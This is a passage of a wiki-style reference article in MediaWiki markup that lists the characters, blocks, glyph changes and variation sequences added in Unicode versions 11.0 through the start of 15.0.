Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
* (total 31 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90D-U+1F90F, U+1F93F, U+1F971, U+1F97B, U+1F9A5-U+1F9AA, U+1F9AE-U+1F9AF, U+1F9BA-U+1F9BF, U+1F9C3-U+1F9CA and U+1F9CD-U+1F9CF)
* Heterodox chess symbols (total 84 characters) were added to '''Chess Symbols'''. (U+1FA00-U+1FA53)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Spacing Modifier Letters
|02EA, 02EB
|2
|-
|Vedic Extensions
|1CF2..1CF3
|2
|-
|Currency Symbols
|20A9
|1
|-
|CJK Symbols and Punctuation
|3001, 3002
|2
|-
|Bopomofo
|3105..312F
|43
|-
|Bopomofo Extended
|31A0..31BA
|27
|-
|CJK Unified Ideographs Extension A
|37C3, 3B9D, 3CFD, 3FE0, 44EC, 4A76
|6
|-
|CJK Unified Ideographs
|5344, 55B9, 6ABC, 6FF9, 809E, 80BC, 80E9, 8132, 8159, 841C, 891D, 8C6C, 915E, 9FD4
|14
|-
|Phags-pa
|A840..A877
|56
|-
|Halfwidth and Fullwidth Forms
|FF01, FF0C, FF0E, FF1A, FF1B, FF1F
|6
|-
|CJK Unified Ideographs Extension B
|200DD, 20164, 20BBF, 20C02, 20CED, 21D4C, 2278B, 23AB8, 2459B, 24A7D, 24FB9, 25ED7, 2677C, 26B4C, 26C21, 26CBE, 26E3D, 28834, 289A1, 289C0, 28A0F, 28B46
|22
|-
|CJK Unified Ideographs Extension C
|2A8FB, 2A917, 2AA30
|3
|-
|CJK Unified Ideographs Extension E
|2BA52, 2BD77, 2C494, 2C72F, 2C734, 2CB38
|6
|-
|CJK Unified Ideographs Extension F
|2D23B, 2E83A
|2
|-
! colspan=&quot;2&quot; |Total
!192
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|3001 FE00
|
|corner-justified form # IDEOGRAPHIC COMMA
|-
|3001 FE01
|
|centered form # IDEOGRAPHIC COMMA
|-
|3002 FE00
|
|corner-justified form # IDEOGRAPHIC FULL STOP
|-
|3002 FE01
|
|centered form # IDEOGRAPHIC FULL STOP
|-
|FF01 FE00
|
|corner-justified form # FULLWIDTH EXCLAMATION MARK
|-
|FF01 FE01
|
|centered form # FULLWIDTH EXCLAMATION MARK
|-
|FF0C FE00
|
|corner-justified form # FULLWIDTH COMMA
|-
|FF0C FE01
|
|centered form # FULLWIDTH COMMA
|-
|FF0E FE00
|
|corner-justified form # FULLWIDTH FULL STOP
|-
|FF0E FE01
|
|centered form # FULLWIDTH FULL STOP
|-
|FF1A FE00
|
|corner-justified form # FULLWIDTH COLON
|-
|FF1A FE01
|
|centered form # FULLWIDTH COLON
|-
|FF1B FE00
|
|corner-justified form # FULLWIDTH SEMICOLON
|-
|FF1B FE01
|
|centered form # FULLWIDTH SEMICOLON
|-
|FF1F FE00
|
|corner-justified form # FULLWIDTH QUESTION MARK
|-
|FF1F FE01
|
|centered form # FULLWIDTH QUESTION MARK
|}

== Unicode 12.1 ==

Unicode 12.1 was released on May 7, 2019. It encoded 137,929 characters, adding only 1 new character.

=== Extended blocks ===
* A square era name Reiwa (total 1 character) was added to '''Enclosed CJK Letters and Months'''. (U+32FF)

== Unicode 13.0 ==

Unicode 13.0 was released on March 10, 2020. It encoded 143,859 characters, adding 5,930 new characters.

=== New blocks ===

* '''Yezidi''' (U+10E80-U+10EBF), containing 47 characters, was added.
* '''Chorasmian''' (U+10FB0-U+10FDF), containing 28 characters, was added.
* '''Dives Akuru''' (U+11900-U+1195F), containing 72 characters, was added.
* '''Lisu Supplement''' (U+11FB0-U+11FBF), containing 1 character, was added.
* '''Khitan Small Script''' (U+18B00-U+18CFF), containing 470 characters, was added.
* '''Tangut Supplement''' (U+18D00-U+18D08), containing 9 characters, was added.
* '''Symbols for Legacy Computing''' (U+1FB00-U+1FBFF), containing 212 characters, was added.
* '''CJK Unified Ideographs Extension G''' (U+30000-U+3134F), containing 4939 characters, was added.

=== Extended blocks ===

* Letters for African languages and Punjabi (total 10 characters) were added to '''Arabic Extended-A'''. (U+08BE-U+08C7)
* A sign Overline (total 1 character) was added to '''Oriya'''. (U+0B55)
* A Vedic Anusvara (total 1 character) was added to '''Malayalam'''. (U+0D04)
* A sign Candrabindu (total 1 character) was added to '''Sinhala'''. (U+0D81)
* Combining diacritical marks for Scottish phonology (total 2 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1ABF-U+1AC0)
* A Japanese symbol for Type A Electronics (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2B97)
* Cross patties and a Tironian sign Capita Et (total 3 characters) were added to '''Supplemental Punctuation'''. (U+2E50-U+2E52)
* Letters for Taiwan and Cantonese language (total 5 characters) were added to '''Bopomofo Extended'''. (U+31BB-U+31BF)
* Some disunified ideographs (total 10 characters) were added to '''CJK Unified Ideographs Extension A'''. (U+4DB6-4DBF)
* Some ideographs for China (total 13 characters) were added to '''CJK Unified Ideographs'''. (U+9FF0-U+9FFC)
* Letters for Gaulish (total 6 characters) were added to '''Latin Extended-D'''. (U+A7C7-U+A7CA and U+A7F5-U+A7F6)
* An alternate sign Nasanta (total 1 character) was added to '''Syloti Nagri'''. (U+A82C)
* Letter R With Midle Tilde and modifier letters for Scottish phonology (total 4 characters) were added to '''Latin Extended-E'''. (U+AB68-U+AB6B)
* A symbol Ascia (total 1 character) was added to '''Ancient Symbols'''. (U+1019C)
* A letter for Pali (total 1 character) was added to '''Chakma'''. (U+11147)
* A vowel sign Prishthamatra E and Inverted Candrabindu (total 2 characters) were added to '''Sharada'''. (U+111CE and U+111CF)
* Double comma, sign Jihvamuliya and Uphadhmaniya (total 3 characters) were added to '''Newa'''. (U+1145A and U+11460-U+11461)
* Khitan Small Script Filler and reading marks for Vietnamese (total 3 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE4 and U+16FF0-U+16FF1)
* Some additional components (total 13 characters) were added to '''Tangut Components'''. (U+18AF3-U+18AFF)
* Creative Commons license symbols and Mask Work symbol (total 7 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10D-U+1F10F, U+1F16D-1F16F and U+1F1AD)
* Hut, Elevator, Pickup Truck and Roller Skate emoji (total 4 characters) were added to '''Transportation and Map Symbols'''. (U+1F6D6-U+1F6D7 and U+1F6FB-U+1F6FC)
* Arrows for legacy computing (total 2 characters) were added to '''Supplemental Arrows-C'''. (U+1F8B0-U+1F8B1)
* (total 10 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F90C, U+1F972, U+1F977-U+1F978, U+1F9A3-U+1F9A4, U+1F9AB-U+1F9AD and U+1F9CB)
* (total 41 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA74, U+1FA83-U+1FA86, U+1FA96-U+1FAA8, U+1FAB0-U+1FAB6, U+1FAC0-U+1FAC2 and U+1FAD0-U+1FAD6)
* Gongche characters for Kunqu Opera (total 7 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6D7-U+2A6DD)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Tagalog
|1700..170C, 170E..1714
|20
|-
|Mongolian
|1834, 1871, 1878
|3
|-
|Sundanese
|1BAB
|1
|-
|Currency Symbols
|20BF
|1
|-
|CJK Radicals Supplement
|2E80..2E99, 2E9B..2EF3
|115
|-
|Kangxi Radicals
|2F00..2FD5
|214
|-
|CJK Unified Ideographs Extension A
|3472, 38C7, 3DB8, 3FE0, 440B, 46E9
|6
|-
|CJK Unified Ideographs
|53FD, 6146, 6711, 671C, 6721, 6725, 6BD2, 7B9A, 87CE, 8956, 93BF, 9B97
|12
|-
|Latin Extended-D
|A764..A765
|2
|-
|Phags-pa
|A86D
|1
|-
|Tangut
|175F6, 17F0D, 17F8A, 17FA5, 180D6, 18139, 18147, 184F1, 18736
|9
|-
|Tangut Components
|18843, 18856, 1888C, 1890A, 18915, 1893B
|6
|-
|Adlam
|1E900..1E94A, 1E950..1E959, 1E95E..1E95F
|71
|-
|Miscellaneous Symbols and Pictographs
|1F3B1
|1
|-
|Supplemental Symbols and Pictographs
|1F995..1F998, 1F99B..1F99E, 1F9B0..1F9B3, 1F9E7
|13
|-
|CJK Unified Ideographs Extension B
|20219, 21249, 21827, 22C3A, 2327B, 23496, 2355E, 2363B, 236ED, 23839, 23FD5, 24261, 24726, 248F2, 2548E, 26657, 26C9E, 26FE1, 27334, 27C0E, 27CEF, 2A38C
|22
|-
|CJK Unified Ideographs Extension C
|2AED5, 2AEF3, 2AF76, 2B09F, 2B1C3, 2B1E5
|6
|-
|CJK Unified Ideographs Extension E
|2B83C, 2B8D9..2B8DA, 2B96F, 2BBD7, 2BD61, 2BE4A, 2BF1D, 2BF9D, 2C0B8, 2C142, 2C176, 2C316, 2C3FB, 2C402, 2C7AC, 2C82C, 2C83A, 2C9A1, 2CC88, 2CD68
|21
|-
|CJK Unified Ideographs Extension F
|2DC09, 2DE4A, 2EB7E, 2EB89
|4
|-
|CJK Compatibility Ideographs Supplement
|2F83B, 2F878, 2F8D6..2F8D7, 2F8DA, 2F8F0, 2F984, 2FA02
|8
|-
! colspan=&quot;2&quot; |Total
!536
|}

== Unicode 14.0 ==

Unicode 14.0 was released on September 14, 2021. It encoded 144,697 characters, adding 838 new characters.

=== New blocks ===

* '''Arabic Extended-B''' (U+0870-U+089F), containing 41 characters, was added.
* '''Vithkuqi''' (U+10570-U+105BF), containing 70 characters, was added.
* '''Latin Extended-F''' (U+10780-U+107BF), containing 57 characters, was added.
* '''Old Uyghur''' (U+10F70-U+10FAF), containing 26 characters, was added.
* '''Unified Canadian Aboriginal Syllabics Extended-A''' (U+11AB0-U+11ABF), containing 16 characters, was added.
* '''Cypro-Minoan''' (U+12F90-U+12FFF), containing 99 characters, was added.
* '''Tangsa''' (U+16A70-U+16ACF), containing 89 characters, was added.
* '''Kana Extended-B''' (U+1AFF0-U+1AFFF), containing 13 characters, was added.
* '''Znamenny Musical Notation''' (U+1CF00-U+1CFFF), containing 185 characters, was added.
* '''Latin Extended-G''' (U+1DF00-U+1DFFF), containing 31 characters, was added.
* '''Toto''' (U+1E290-U+1E2BF), containing 31 characters, was added.
* '''Ethiopic Extended-B''' (U+1E7E0-U+1E7FF), containing 28 characters, was added.

=== Extended blocks ===

* An End of Text punctuation mark (total 1 character) was added to '''Arabic'''. (U+061D)
* Letters for Balti and Quranic orthography (total 12 characters) were added to '''Arabic Extended-A'''. (U+08B5 and U+08C8-U+08D2)
* A sign Nukta and letter Nakaara Pollu (total 2 characters) were added to '''Telugu'''. (U+0C3C and U+0C5D)
* A letter Nakaara Pollu (total 1 character) was added to '''Kannada'''. (U+0CDD)
* A letter Ra, sign Pamudpod and archaic letter Ra (total 3 characters) were added to '''Tagalog'''. (U+170D, U+1715 and U+171F)
* A fourth Free variation selector (total 1 character) was added to '''Mongolian'''. (U+180F)
* Combining diacritical marks for extended IPA (total 14 characters) were added to '''Combining Diacritical Marks Extended'''. (U+1AC1-U+1ACE)
* An archaic ligature Jnya and punctuation marks (total 3 characters) were added to '''Balinese'''. (U+1B4C and U+1B7D-U+1B7E)
* A combining Dot Below Left (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFA)
* A Kyrgyz Som sign (total 1 character) was added to '''Currency Symbols'''. (U+20C0)
* A letter Caudate Chrivi (total 2 characters) were added to '''Glagolitic'''. (U+2C2F and U+2C5F)
* Medieval and phonetic punctuation marks (total 11 characters) were added to '''Supplemental Punctuation'''. (U+2E53-U+2E5D)
* Some ideographs for Macao (total 3 characters) were added to '''CJK Unified Ideographs'''. (U+9FFD-U+9FFF)
* Archaic European letters, modifier letters for Sokuon and Chatino orthography (total 13 characters) were added to '''Latin Extended-D'''. (U+A7C0-U+A7C1, U+A7D0-U+A7D1, U+A7D3, U+A7D5, U+A7D6-U+A7D9 and U+A7F2-U+A7F4)
* A modifier letter Wasla Above and honorifics (total 20 characters) were added to '''Arabic Presentation Forms-A'''. (U+FBC2, U+FD40-U+FD4F, U+FDCF and U+FDFE-U+FDFF)
* Letters for Old Tamil (total 6 characters) were added to '''Brahmi'''. (U+11070-U+11075)
* A vowel sign Vocalic R (total 1 character) was added to '''Khaiti'''. (U+110C2)
* An Abbreviation sign (total 1 character) was added to '''Takri'''. (U+116B9)
* Letters for Tai Ahom (total 7 characters) were added to '''Ahom'''. (U+11740-U+11746) The block was expanded from (U+11700-U+1173F) to (U+11700-U+1174F)
* Kana archaic letters (total 4 characters) were added to '''Kana Extended-A'''. (U+1B11F-U+1B122)
* Accidental symbols for Iranian classical music (total 2 characters) were added to '''Musical Symbols'''. (U+1D1E9-U+1D1EA)
* Playground Slide, Wheel and Ring Buoy emoji (total 3 characters) were added to '''Transportation and Map Symbols'''. (U+1F6DD-U+1F6DF)
* A Heavy Equals Sign emoji (total 1 character) was added to '''Geometric Shapes Extended'''. (U+1F7F0)
* A Troll and Face Holding Back Tears emoji (total 2 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F979 and U+1F9CC)
* (total 31 characters) were added to '''Symbols and Pictographs Extended-A'''. (U+1FA7B-U+1FA7C, U+1FAA9-U+1FAAC, U+1FAB7-U+1FABA, U+1FAC3-U+1FAC5, U+1FAD7-U+1FAD9, U+1FAE0-U+1FAE7 and U+1FAF0-U+1FAF6)
* Some ideographs for Macao (total 2 characters) were added to '''CJK Unified Ideographs Extension B'''. (U+2A6DE-U+2A6DF)
* Disunified ideographs and a G source ideograph for China, Hong Kong and Vietnam (total 4 characters) were added to '''CJK Unified Ideographs Extension C'''. (U+2B735-U+2B738)

=== Glyph Changes ===
Here is a table with glyph changes:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
!Block Name
!Code Points
!Count
|-
|Latin Extended-B
|0184..0185
|2
|-
|Arabic
|0674..0678, 06C5, 06C7, 06FE
|8
|-
|Letterlike Symbols
|210B, 2110, 2112, 211B, 212C, 2130..2131, 2133
|8
|-
|Enclosed Alphanumerics
|2460..24FF
|160
|-
|Dingbats
|2776..2793
|30
|-
|CJK Symbols and Punctuation
|3001..3029, 3030..303D, 303F
|56
|-
|CJK Strokes
|31C0..31E3
|36
|-
|Katakana Phonetic Extensions
|31F0..31FF
|16
|-
|Enclosed CJK Letters and Months
|3200..321E, 3220..32FF
|255
|-
|CJK Compatibiity
|3300..33FF
|256
|-
|CJK Unified Ideographs Extension A
|3777, 3B3F
|2
|-
|CJK Unified Ideographs
|5DD5, 652C, 6AC0
|3
|-
|Arabic Presentation Forms-A
|FBD7..FBD8, FBDD, FBE0..FBE1
|5
|-
|Vertical Forms
|FE10..FE19
|10
|-
|CJK Compatibiity Forms
|FE30..FE4F
|32
|-
|Small Form Variants
|FE50..FE52, FE54..FE66, FE68..FE6B
|26
|-
|Halfwidth and Fullwidth Forms
|FF01..FF9F, FFA1..FFBE, FFC2..FFC7, FFCA..FFCF, FFD2..FFD7, FFDA..FFDC, FFE0..FFE6, FFE8..FFEE
|225
|-
|Egyptian Hieroglyphs
|1300A, 13017, 1302D, 13032, 13034..13035, 13037..13038, 1303A..1303E, 1304E..1304F, 13055, 13057, 13068, 1309A, 130D2, 130D5, 130F6, 130FE, 13192, 1325F, 13267, 1326A, 13281, 13297, 1329E, 132B4, 132C1, 132E6, 13304, 1331F, 13378..1337B, 1337D..1337E, 133F3, 133FA..13403, 1340D, 13417, 1342B
|55
|-
|Mathematical Alphanumeric Symbols
|1D49C, 1D49E..1D49F, 1D4A2, 1D4A5..1D4A6, 1D4A9..1D4AC, 1D4AE..1D4B5
|18
|-
|Enclosed Alphanumeric Supplement
|1F100..1F1AD, 1F1E6..1F1FF
|200
|-
|Enclosed Ideographic Supplement
|1F200..1F202, 1F210..1F23B, 1F240..1F248, 1F250..1F251, 1F260..1F265
|64
|-
|Supplemental Symbols and Pictographs
|1F930
|1
|-
|CJK Unified Ideographs Extension B
|22ADC, 230F2, 25B27, 26F28
|4
|-
! colspan=&quot;2&quot; |Total
!1472
|}

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|1D49C FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE00
|
|chancery style # SCRIPT CAPITAL B
|-
|1D49E FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE00
|
|chancery style # SCRIPT CAPITAL E
|-
|2131 FE00
|
|chancery style # SCRIPT CAPITAL F
|-
|1D4A2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE00
|
|chancery style # SCRIPT CAPITAL H
|-
|2110 FE00
|
|chancery style # SCRIPT CAPITAL I
|-
|1D4A5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE00
|
|chancery style # SCRIPT CAPITAL L
|-
|2133 FE00
|
|chancery style # SCRIPT CAPITAL M
|-
|1D4A9 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE00
|
|chancery style # SCRIPT CAPITAL R
|-
|1D4AE FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE00
|
|chancery style # MATHEMATICAL SCRIPT CAPITAL Z
|-
|1D49C FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL A
|-
|212C FE01
|
|roundhand style # SCRIPT CAPITAL B
|-
|1D49E FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL C
|-
|1D49F FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL D
|-
|2130 FE01
|
|roundhand style # SCRIPT CAPITAL E
|-
|2131 FE01
|
|roundhand style # SCRIPT CAPITAL F
|-
|1D4A2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL G
|-
|210B FE01
|
|roundhand style # SCRIPT CAPITAL H
|-
|2110 FE01
|
|roundhand style # SCRIPT CAPITAL I
|-
|1D4A5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL J
|-
|1D4A6 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL K
|-
|2112 FE01
|
|roundhand style # SCRIPT CAPITAL L
|-
|2133 FE01
|
|roundhand style # SCRIPT CAPITAL M
|-
|1D4A9 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL N
|-
|1D4AA FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL O
|-
|1D4AB FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL P
|-
|1D4AC FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Q
|-
|211B FE01
|
|roundhand style # SCRIPT CAPITAL R
|-
|1D4AE FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL S
|-
|1D4AF FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL T
|-
|1D4B0 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL U
|-
|1D4B1 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL V
|-
|1D4B2 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL W
|-
|1D4B3 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL X
|-
|1D4B4 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Y
|-
|1D4B5 FE01
|
|roundhand style # MATHEMATICAL SCRIPT CAPITAL Z
|}

===Named Sequences===
Here is a table with new named character sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Name
|-
|0915 093C
|DEVANAGARI SEQUENCE FOR LETTER QA
|-
|0916 093C
|DEVANAGARI SEQUENCE FOR LETTER KHHA
|-
|0917 093C
|DEVANAGARI SEQUENCE FOR LETTER GHHA
|-
|091C 093C
|DEVANAGARI SEQUENCE FOR LETTER ZA
|-
|0921 093C
|DEVANAGARI SEQUENCE FOR LETTER DDDHA
|-
|0922 093C
|DEVANAGARI SEQUENCE FOR LETTER RHA
|-
|092B 093C
|DEVANAGARI SEQUENCE FOR LETTER FA
|-
|092F 093C
|DEVANAGARI SEQUENCE FOR LETTER YYA
|-
|09A1 09BC
|BENGALI SEQUENCE FOR LETTER RRA
|-
|09A2 09BC
|BENGALI SEQUENCE FOR LETTER RHA
|-
|09AF 09BC
|BENGALI SEQUENCE FOR LETTER YYA
|-
|0A32 0A3C
|GURMUKHI SEQUENCE FOR LETTER LLA
|-
|0A38 0A3C
|GURMUKHI SEQUENCE FOR LETTER SHA
|-
|0A16 0A3C
|GURMUKHI SEQUENCE FOR LETTER KHHA
|-
|0A17 0A3C
|GURMUKHI SEQUENCE FOR LETTER GHHA
|-
|0A1C 0A3C
|GURMUKHI SEQUENCE FOR LETTER ZA
|-
|0A2B 0A3C
|GURMUKHI SEQUENCE FOR LETTER FA
|-
|0B21 0B3C
|ORIYA SEQUENCE FOR LETTER RRA
|-
|0B22 0B3C
|ORIYA SEQUENCE FOR LETTER RHA
|}

== Unicode 15.0 ==

Unicode 15.0 was released on September 13, 2022. It encoded 149,186 characters, adding 4,489 new characters.

=== New blocks ===

* '''Arabic Extended-C''' (U+10EC0-U+10EFF), containing 3 characters, was added.
* '''Devanagari Extended-A''' (U+11B00-U+11B5F), containing 10 characters, was added.
* '''Kawi''' (U+11F00-U+11F5F), containing 86 characters, was added.
* '''Kaktovik Numerals''' (U+1D2C0-U+1D2DF), containing 20 characters, was added.
* '''Cyrillic Extended-D''' (U+1E030-U+1E08F), containing 63 characters, was added.
* '''Nag Mundari''' (U+1E4D0-U+1E4FF), containing 42 characters, was added.
